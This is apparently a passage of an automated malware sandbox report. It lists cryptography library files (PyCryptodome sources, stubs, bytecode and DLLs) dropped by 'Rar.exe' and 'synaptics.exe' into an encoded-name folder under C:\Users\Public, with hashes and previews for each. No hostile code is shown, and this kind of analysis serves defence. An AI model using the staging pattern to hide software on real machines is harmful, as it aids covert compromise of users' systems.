Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	692
Entropy (8bit):	4.899620335781504
Encrypted:	false
SSDEEP:	12:1REYB1ukDAxL+aB7yGerrkjjAo1AiiiNpyEVybjJjm53s+c:1REquJL+pPjsAANAE8bVjm53s+c
MD5:	BB6DFCDEB98EA22FCAFD1C2EF2909FD1
SHA1:	95BB59D50EEB6EC2FF53AA07FE9C7291C628F1AA
SHA-256:	701C7CA660A0ECBF8B633FBB1A080F447FC693E128965D369C6165F621CD80B6
SHA-512:	D22A616317C9F8043C65E32B7D3516E6E7A73A03412151FF26BD09F0DF60F53E6E02FB2FD7F71F48E0C17DA0377156A1AAA7FE4843E72D9AF184A95CEA4C82A7
Malicious:	false
Reputation:	low
Preview:	from typing import Callable, Union, Tuple, Optional....__all__ = ['generate', 'construct', 'ElGamalKey']....RNG = Callable[[int], bytes]....def generate(bits: int, randfunc: RNG) -> ElGamalKey: .....def construct(tup: Union[Tuple[int, int, int], Tuple[int, int, int, int]]) -> ElGamalKey: .......class ElGamalKey(object):.. def __init__(self, randfunc: Optional[RNG]=None) -> None: ..... def has_private(self) -> bool: ..... def can_encrypt(self) -> bool: ..... def can_sign(self) -> bool: ..... def publickey(self) -> ElGamalKey: ..... def __eq__(self, other: object) -> bool: ..... def __ne__(self, other: object) -> bool: ..... def __getstate__(self) -> None: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\RSA.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	31755
Entropy (8bit):	4.716755149805653
Encrypted:	false
SSDEEP:	768:+r6qvF2WYnlLZlnIEgLH3azy+uAlsKMWsKtCVeC:+rpdzYn9Zln0OLuAlsnKtCf
MD5:	0947B4DBE43E62701069600DBDF79A8C
SHA1:	0FC15553FE43466C3E23A2524771E15F2203D317
SHA-256:	5047981C1EF9B12C37FF5E5010FC9BB200FA2C7EEC64EB002ABD452944864A0E
SHA-512:	E904116A422EC30B52DCFBDA65FB19FF73852E4CC02107D59F785C170B42E6E040846F14F2ADCCA4ED3DFA6DE3527D531342EB60DF30AA4EA5929693029A441C
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..# ===================================================================..#..# Copyright (c) 2016, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\RSA.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2599
Entropy (8bit):	4.5725118156821445
Encrypted:	false
SSDEEP:	24:1REquT4+vZ7+/0wWsAInlNAE+jm53s+eZNcN4n6Rs9Y+CMKoUDT+YsUVRVxzL3:B+h7+/05sX5+jm2+eDqszdPUDXVHVL3
MD5:	0DF7584DEADC1160766A1CF2E07FA3D2
SHA1:	79484FB8B9D7CE922DEBCAF136CDE6176DF649B4
SHA-256:	5CBA0D3C44217538026D4585ACA8F592FC0B21AD618AB11D45715539A365E024
SHA-512:	DD9AF3B3D3CBD332D831206883BF3C902ADCD828108215C00FA0D898B310A92A23D581BA3A513A5EA50880022E6DACF44E0AD1AF52253EE1F094F348F7B971E8
Malicious:	false
Reputation:	low
Preview:	from typing import Callable, Union, Tuple, Optional, overload, Literal....from Crypto.Math.Numbers import Integer..from Crypto.IO._PBES import ProtParams....__all__ = ['generate', 'construct', 'import_key',.. 'RsaKey', 'oid']....RNG = Callable[[int], bytes]....class RsaKey(object):.. def __init__(self, **kwargs: int) -> None: ....... @property.. def n(self) -> int: ..... @property.. def e(self) -> int: ..... @property.. def d(self) -> int: ..... @property.. def p(self) -> int: ..... @property.. def q(self) -> int: ..... @property.. def u(self) -> int: ..... @property.. def invp(self) -> int: ..... @property.. def invq(self) -> int: ....... def size_in_bits(self) -> int: ..... def size_in_bytes(self) -> int: ..... def has_private(self) -> bool: ..... def can_encrypt(self) -> bool: ... # legacy.. def can_sign(self) -> bool:... # legacy.. def public_key(self) -> RsaKey: ..... def __eq__(self, other: obj

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3236
Entropy (8bit):	5.060017011908534
Encrypted:	false
SSDEEP:	48:KIB0jcQHMsvI/S3oCFG+FA16eY6ByyvHDKZQLPmO/x/c6VevK94i:dFQHvo7LQT4P6QLeO/a6CK94i
MD5:	4A857A07C057F9867133A3BDF93BCE2F
SHA1:	C49098F9F3D62CDAF15C53AE244AFD60C25356CF
SHA-256:	EE62ED1363AE2633B7498B8AE333E525CEBA8AF94CBA9F1C6DF4939581C759D8
SHA-512:	AB6B0492D6B6C1EC1BB792611493A6E1760B7B7E0F7D1610E6578DFA511E4963DE637E52E7BD2699696845DB6BE75CC96CEC44A47ED06E167719981483B436DE
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\pycache\RSA.cpython-310.pyc.72804016

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	23799
Entropy (8bit):	5.5436089399767585
Encrypted:	false
SSDEEP:	384:Zh5ntLDIVVMEPHq5Bk2esJSEgEBNZU0VgwpPjpNRui1GwCO7NJZKY:ltwMES5m2nJoEdB/pPzPCO7XX
MD5:	3CD17EFF54CFF19C11CF72DBA8AEAFAE
SHA1:	55BDA90383639E9285839867AF0F40A71386D22A
SHA-256:	38A754A99C2AB51128D32E409399D94DFC4073316E457984D591EF1FE98BD2B1
SHA-512:	4AE870897BBF176F290E9081D4AB9A6F84635C18FEC2255B0937719D25633D53341E848D3ED413621C69D0E67FF2DD76D6B430F75EAC28D5A1BDE36299FA1F77
Malicious:	false
Reputation:	low
Preview:	o..........f.\|.......................@...s....g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...G.d.d...d.e...Z.d#d.d...Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d...Z"d%d d!..Z#e#Z$d"Z%d.S.)&)...generate..construct..import_key..RsaKey..oid.....N)...Random)...tobytes..bord..tostr)...DerSequence..DerNull)...bytes_to_long)...Integer)...test_probable_prime..generate_probable_prime..COMPOSITE)..._expand_subject_public_key_info.._create_subject_public_key_info. _extract_subject_public_key_infoc....................@...sV...e.Z.d.Z.d.Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.d*d+..Z.d,d-..Z.d.d/..Z.d0d1..Z.d2d3..Z..6.5dKd7d8..Z.d9d:..Z.d;d<..Z d=d>..Z!d?d@..Z"dAdB..Z#dCdD..Z$dEdF..Z%dGdH..Z&dIdJ..Z'd5S.)Lr....a....Class defining an

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\pycache\init.cpython-310.pyc.71835808

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	5.396142590240559
Encrypted:	false
SSDEEP:	48:NwzSTw1WWXezNJeVvcsso0Gar/xCVf9SVY:lsk4UreRbsoiSx
MD5:	1F068416EBC1509D06B7A922BCF00DED
SHA1:	6109B9CF3A809D5BE23BA7EFA6175908AACBB2DC
SHA-256:	2E0E46452A58696628FCDE095EE30E633F18EAC4DAB47717FFF6387E306AA3DF
SHA-512:	E28274A318359A71EF35651570336CCCFA0E01F9DF649DFE9EB7EF6DF32879C3455B4716010798C267C230F0A00A40FB678F493E0029A14B3DF2838E37304EB0
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s8...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d...Z.d.d...Z.d.d...Z.d.S.)......)...DerSequence..DerInteger..DerBitString..DerObjectId..DerNullc....................C...s....t...j.\|.d.d...}.t...j.\|.d...d.d...}.t.....\|.d.....}.t.....\|.d.....j.}.t.\|...d.k.r,d.}.n.z.t.....\|.d.......d.}.W.n.......\|.d...}.Y.\|.j.\|.\|.f.S.).z.Parse a SubjectPublicKeyInfo structure... It returns a triple with:. * OID (string). * encoded public key (bytes). * Algorithm parameters (bytes or None). .......Z.nr_elementsr....)......r....r....N).r......decoder....r......value..lenr....)...encoded..spkiZ.algo..algo_oidZ.spkZ.algo_params..r.....KC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\PublicKey\__init__.py.._expand_subject_public_key_info....s............................r....c....................C...s@...\|.d.u.r.t.t.\|...g...}.n.t.t.\|...\|.g...}.t.\|.t.\|...g...}.\|.....S.).N).r....r....r......encode).r....Z.public_key..params..algorithmr....r....r....r...

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	720896
Entropy (8bit):	7.668141455946428
Encrypted:	false
SSDEEP:	12288:uad892HoxJ8gf2266y8IXhJvCKAvqVLzcrZgYIMGv1iLD9yQvG6h2:uady2HoxJFf2p3bhcrn5Go9yQO6o
MD5:	4265AFF5E6C9B13A397DB9FB5DB7E0F8
SHA1:	E82C09FD6C0CEFD3DB6C85B675AA1DBEC3B84849
SHA-256:	54F51DBA779A9FE9C0CA18A62D2BF696A7463FB76EEB5B79AC0761BEDCFF58F5
SHA-512:	D6BD223A48664BC8B1FA3600D621515F492681FC147026B56C9B5B001F36961E84B6FAD4605A37D09DA2B1C10F37E7BE3F361EFAD53D36B07955832615D55EA4
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.....Z...Z...Z..jZ...Z...[...ZF..[...Z...Z*..Z...[...Z...[...Z...[...Z7..[...Z7..[...Z7..Z...Z7..[...ZRich...Z........PE..L...:..e...........!...%............T........ ...............................@............@.........................@...d.......d.... .......................0..........................................@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data...............................@....rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	6.105707923864752
Encrypted:	false
SSDEEP:	384:It9aokJdjVNiqNJ5vTVu7C6dWM9FVTCIhQ5xWEARnlYT:IZkFNiqL5T+CyWMFV9hQ50EClYT
MD5:	E36E97264A271CBB7FA58DF7E873382C
SHA1:	213CD5DAA4EF7463D436ED49D972FC176BFB8E38
SHA-256:	C58844CFA2B34C5AA197DFD8C891F1D06EA08B7B1F91D87DB5A0B93BB349A87D
SHA-512:	18E0EF6EB7AA5B856BF76339D8FD59D9CBC46AB3226AC0C9773ADB8D8210361409AF443B33BE0C9CFADC9E6FA9B6DD377690E06FC557F59CC17C347D97385A38
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............i...i...i....P..i.......i......i...i...i.......i.......i.......i.......i.......i....<..i.......i..Rich.i..........PE..L...;..e...........!...%.@..........N........P............................................@.........................@U..0...pV..d....p...............................Q.............................. Q..@............P..x............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data...T....`.......N..............@....rsrc........p.......T..............@..@.reloc...............V..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\_ed448.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	48128
Entropy (8bit):	6.2529879407981
Encrypted:	false
SSDEEP:	768:TqWAfiKd/obDZoaZweTh3W1dzl4Ow0ffPp0TGUMIoSb4HoaEB4:TgAbDZo4hsbZnPCTMIoSb4HoaZ
MD5:	39FB9B0D6C84C01B4BF29AAB7AB897C0
SHA1:	91130A7F119D380B583D0AA5238A3142A90F1299
SHA-256:	9EC53C4D0531806B15C4AC4A4E3DF0B279DE3B85FB4F42874F855A99E5E1D72A
SHA-512:	2117B21C5AE23CABE694F0E1D18B1BD558F3C1CE69C079A85F79609D515ABE3D0BED4B4061541FBD17C9541300461FD94DB78A723D78DBD030A069E35F03DA04
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........em...>...>...>...>...>...?...>...?...>...>...>...?...>...?...>...?...>...?...>...?...>...>...>...?...>Rich...>........................PE..L...<..e...........!...%..... ......T.....................................................@.............................h...h...d...................................x...................................@...............\|............................text...5........................... ..`.rdata..............................@..@.data...p...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\_openssh.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5261
Entropy (8bit):	5.187172722384075
Encrypted:	false
SSDEEP:	96:M4DqrYJALrYJHdt3EHGuIcWIKiYHbJM/pQ4W8NtOH6mCli0yZRYAD0Ov:Jqrskrs9t3q/Ih2/yzy66NlNyQW0Ov
MD5:	1BCBC8A97A925C34AAA01860EE4D8D63
SHA1:	CCF52E350B94DA06E6D8980E31CB93300A70B1C4
SHA-256:	B92D60974EF5FF39314516C2FA7ADF20886C4201C9AEA68EC633F921D4ED4B63
SHA-512:	BF9AB4DC9294CC4E70D500E594D72923722EC9A528B59881649730B89E4B6F89CCFD3E056A4DCEE0A59B416CEC513C2F7D97C326B680149173BAE01C9DC99394
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2019, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\_openssh.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	331
Entropy (8bit):	4.758113161274864
Encrypted:	false
SSDEEP:	6:1REYB6RNx6FJdRloxdRX8jL8SdyAEBfFpU80/p9YKXrH0L8Sy:1REYB6RT61Rlo3RX8jLVMBM80/p+MrUe
MD5:	8BEBFA73A502269CB8A0C4CE6C714C5A
SHA1:	176037806AA4E83D03FEDCC40CBACF9D1D5F675A
SHA-256:	564C2B01DC5D096BF508761DB881E201172E2D60E939BA2F78E20BE46A74DDA0
SHA-512:	50C4AE1F408F98EA4650966444F3E552559A3D92ED79EC66E0C3424A6EBAA11AD577F47853C91BCDC1B5910C2A2815D55CCEFD23D5C1E0BD4F02136CCB3D8884
Malicious:	false
Reputation:	low
Preview:	from typing import Tuple....def read_int4(data: bytes) -> Tuple[int, bytes]: .....def read_bytes(data: bytes) -> Tuple[bytes, bytes]: .....def read_string(data: bytes) -> Tuple[str, bytes]: .....def check_padding(pad: bytes) -> None: .....def import_openssh_private_generic(data: bytes, password: bytes) -> Tuple[str, bytes]: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\_x25519.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	4.911844496867438
Encrypted:	false
SSDEEP:	96:+5qu39PERtoqPAF+7BWM8o5WJ1ks/vnpjOQhWd0xiMmGffQzQrXd:iqu39PE5guBWMNWJzhjOQUixiMVnkwN
MD5:	A2556847EDC0C83BD663BDCF0DE3CA66
SHA1:	B732652A1EFB8A3CFE3203C8ABA35CCD8DCE254A
SHA-256:	50912E465830D1DBA13CA796D1B09FC85DEC83C9EF1C2AB1948366FD95B7C0BC
SHA-512:	9F93B8C70B8D5EA9E16959F90535F92A73CC7A178BD2BD51D11EF5F59EFEDB0AD4A1A435B63AE85A7D824F661221964E2F1B69AF38F18BB7A74B4F0B3EE07A7C
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................R.................................................N.......N.......N>......N......Rich....................PE..L...;..e...........!...%............N........ ...............................`............@.........................@%..P....%..P....@.......................P..@....!...............................!..@............ ..h............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc..@....P....... ..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Random\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1866
Entropy (8bit):	5.171387928684167
Encrypted:	false
SSDEEP:	48:hIB0jcQHMsvI/S3oCFadPyopEm7XRXTR5:SFQHvohqTm7XRXF5
MD5:	F6DAA1095142342733AB132C05D1DDFE
SHA1:	1EBAFA39A224F69887333A00E0AE1BD69178315E
SHA-256:	05E8D3E5D2B18C1731189DB337B04CB83E966DC385930836FA22E9EE0F376FB9
SHA-512:	246058D7F397CDCACE81B09FDEBA5B17C240264A70375D99B4FD0FFBFFC54208D312BC38894E74B531BD3F9CB40105FA9DD834C74250B73A0C8E8DB583FB0E41
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# Random/__init__.py : PyCrypto random number generation..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ==

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Random\init.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	386
Entropy (8bit):	4.828244249619416
Encrypted:	false
SSDEEP:	6:1REYBFovLD2dC1ZSM+mHv0tAE7Ky3L5RSMtAMjMEFy7yA4TSJDZj5:1REYB8D2ACM+meh7KyVVpJy7yAGkDR5
MD5:	A4CDA07BACD9EDBD7C0243B029D79400
SHA1:	B068F43B0EAE31972C2B6C6335BBCA2497B948FB
SHA-256:	3A9548EF07A83C2F2BF7DB05EDB776BD788B9D9C112EA8155333242839CC27D7
SHA-512:	A1412BAF95D6910D821B927BE91CFD740F2DD8A98E259950E5FF06409CEC8E01EB6B06AC1747A8FF06098849142EBF2754AEED361FFCD37954FFFC13BCE1D3C0
Malicious:	false
Reputation:	low
Preview:	from typing import Any....__all__ = ['new', 'get_random_bytes']....from os import urandom....class _UrandomRNG(object):.... def read(self, n: int) -> bytes:..... def flush(self) -> None: ..... def reinit(self) -> None: ..... def close(self) -> None: .......def new(args: Any, *kwargs: Any) -> _UrandomRNG: .......def atfork() -> None: .......get_random_bytes = urandom....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Random\pycache\init.cpython-310.pyc.70760096

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1259
Entropy (8bit):	4.6658059178113716
Encrypted:	false
SSDEEP:	24:NOtWRuX2i3FOd3krWhInkOCUqxUNRQj/jfhlHJ4fEByWkJwjGP4gE/:NZRHd02UEU9iDrtP6Af
MD5:	1FCEF4642458B7B2AEC8F4EDD8769514
SHA1:	8DFE507B35AA4B84A08E7797AC704334DC0A4B7D
SHA-256:	64AC92C155F44292FC051885661E0F40B19EF0CA378D3D082F33F0D9EE07DA73
SHA-512:	A67D8A79DAD11F2CBD0FD9B0FD17EA7C5AD83988DF77D5204876D554DD4F17F79D38C64541BB85DE69ADCC6A0388F62E91B4D52CD20DFF527160495FE5CFB2E0
Malicious:	false
Reputation:	low
Preview:	o..........fJ........................@...s<...d.d.g.Z.d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.d...Z.e.Z.d.S.)...new..get_random_bytes.........urandomc....................@...s,...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._UrandomRNGc....................C...s....t.\|...S.).z0Return a random byte string of the desired size.r....)...self..n..r.....HC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Random\__init__.py..read....s......z._UrandomRNG.readc....................C........d.S...z0Method provided for backward compatibility only.Nr......r....r....r....r......flush!..........z._UrandomRNG.flushc....................C...r....r....r....r....r....r....r......reinit%...r....z._UrandomRNG.reinitc....................C...r....r....r....r....r....r....r......close)...r....z._UrandomRNG.closeN)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r....r........s..............r....c....................O...s....t...S.).zFReturn a file-like object that outputs cryptographi

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Random\pycache\random.cpython-310.pyc.72803176

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3396
Entropy (8bit):	5.311015065875513
Encrypted:	false
SSDEEP:	96:Gk/Yq7x6J5PPcWgudGUJFp9YY3sjuhXNvLHf85jL:GWY5PP7gO8Y31hdvLH6
MD5:	F4907389F0D7E69224178BCBE6D44A86
SHA1:	3F80396CACE704CF061AA5CAE2BE955C86DC0707
SHA-256:	633A3ED69A0F4FEEEEAF8E4D772228C55D0983FBC983C0E79C3AD91B83D67E20
SHA-512:	40A3BD59EC2CBD8BA48D9875E5E261DBF83F0029C191C4CC5AC6A4684E36C9304720955B518A1E7C8C010D068CC3D13ADDF7620CD594C9DC80C7DAA74F0546E1
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...sv...g.d...Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.e...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.S.).)...StrongRandom..getrandbits..randrange..randint..choice..shuffle..sample.....)...Random)...is_native_intc....................@...sF...e.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....Nc....................C...sX...\|.d.u.r.\|.d.u.r.d.\|._.d.S.\|.d.u.r.\|.d.u.r.\|.\|._.d.S.\|.d.u.r(\|.d.u.r(\|.j.\|._.d.S.t.d.....).Nz(Cannot specify both 'rng' and 'randfunc')..._randfunc..read..ValueError)...self..rng..randfunc..r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Random\random.py..__init__ ...s..................z.StrongRandom.__init__c....................C...s:...\|.j.d.u.r.t.....j.\|._.d.\|.>.d...}.\|.t.\|...t.\|.d.......@.S.).z%Return an integer with k random bits.N..........).r....r......newr......bytes_to_long..ceil_div).r......k..maskr....r....r....r....*...s............z.StrongRandom.getrandbitsc.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Random\random.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5372
Entropy (8bit):	4.828979692628258
Encrypted:	false
SSDEEP:	96:o5wfFQHvoeTcHIpVaRhNkNNrvvGDwotbxcOV+gnNflG7b0/Yt5:o5wdQHv5rjIvsotlcU+g60/S
MD5:	3BD14C0DD7FE75741EE0742BDA794418
SHA1:	31B75C61FEA51D7E69247B3D47FC37DE5247C817
SHA-256:	01ADBD3F51A22F71EDD8B3FB3F45BB849C9D9A46E00A7CFD25C28EA780512E3C
SHA-512:	4FE054877C0749994FDE32CEA437C659FD2B406E3E057A2D9C27ADCFF6E556D8FEC48615B01AAD7B6502B40E5CF7C2CA342B626DB8D07F191E2D63FBD9E15E28
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# Random/random.py : Strong alternative for the standard 'random' module..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# C

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Random\random.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.891350639959851
Encrypted:	false
SSDEEP:	24:1REqJBQCf+sAJOIE5P0fid1o4zOZKXiojo/f:lQW+sd5CidO4ifao/f
MD5:	0B01F3499238530A9A99E48F305DB9AC
SHA1:	7AE9ADEAF96CF6B47C721A124AA568AB1A0B605C
SHA-256:	043AEDA2F263A42A0086FCBB0CA801FF1D9BF396FFCC966452FF25DD5030A013
